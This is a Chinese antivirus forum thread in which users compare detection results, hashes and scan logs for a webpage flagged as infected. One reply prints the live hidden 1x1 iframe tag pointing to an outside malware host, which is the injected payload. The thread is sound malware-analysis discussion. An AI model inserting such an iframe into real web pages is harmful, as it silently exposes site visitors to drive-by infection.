火绒拦截网页病毒说是感染型病毒，具体干什么的？

显示全部楼层 · 发表于 2021-7-8 09:57:42

下地KIS能够清除，网页是直接阻断。

事件: 对象已清除
组件: 病毒扫描
结果: 已清除
结果说明: 已清除
类型: 木马
名称: Trojan-Clicker.HTML.IFrame.acy
精确度: 确切
威胁级别: 高
对象类型: 文件
对象名称: 68158CB17E46D81C376819CF30E4809B5D0C5CD5
SHA256: 78A9AE2B71C9822C18D54EFF4A7E088FF9A4638EC821E07D5D06DE60E308AE85
MD5: A3825CB34DBE61F0F430F2EB111019D9

复制代码

显示全部楼层 · 发表于 2021-7-8 09:58:01

AhnLab

显示全部楼层 · 发表于 2021-7-8 10:10:44

里面有个1*1的iframe，地址是hxxp://ZieF[.]pl/rc/ 看了眼vt上这个地址出现都是十年前了。真上古玩意

显示全部楼层 · 发表于 2021-7-8 10:18:54

本帖最后由 lixihong10 于 2021-7-8 10:20 编辑

就是内嵌了一个其他网页，这个网页报毒而已。你把下面的内容复制到 txt 扫描也会报毒。
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>

显示全部楼层 · 发表于 2021-7-8 15:28:56

aboringman 发表于 2021-7-8 09:50
360：恶意软件(virus.html.url.7)MD5:a3825cb34dbe61f0f430f2eb111019d9 文件中感染的病毒代 ...

我这张图是在隔离区截的

显示全部楼层 · 发表于 2021-7-8 17:35:59

lixihong10 发表于 2021-7-8 10:18
就是内嵌了一个其他网页，这个网页报毒而已。你把下面的内容复制到 txt 扫描也会报毒。

这个网站MDS都报

显示全部楼层 · 发表于 2021-7-8 17:49:47

Avast
HTML:Iframe-inf[Susp]

显示全部楼层 · 发表于 2021-7-8 19:55:58

奇安信

显示全部楼层 · 发表于 2021-7-8 22:19:09

Threat name: Generic.Virtob.2.BA3028A7

显示全部楼层 · 发表于 2021-7-9 09:23:21

lixihong10 发表于 2021-7-8 10:18
就是内嵌了一个其他网页，这个网页报毒而已。你把下面的内容复制到 txt 扫描也会报毒。

那报virut的那几家是咋回事？

[病毒样本] 火绒拦截网页病毒说是感染型病毒，具体干什么的？

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源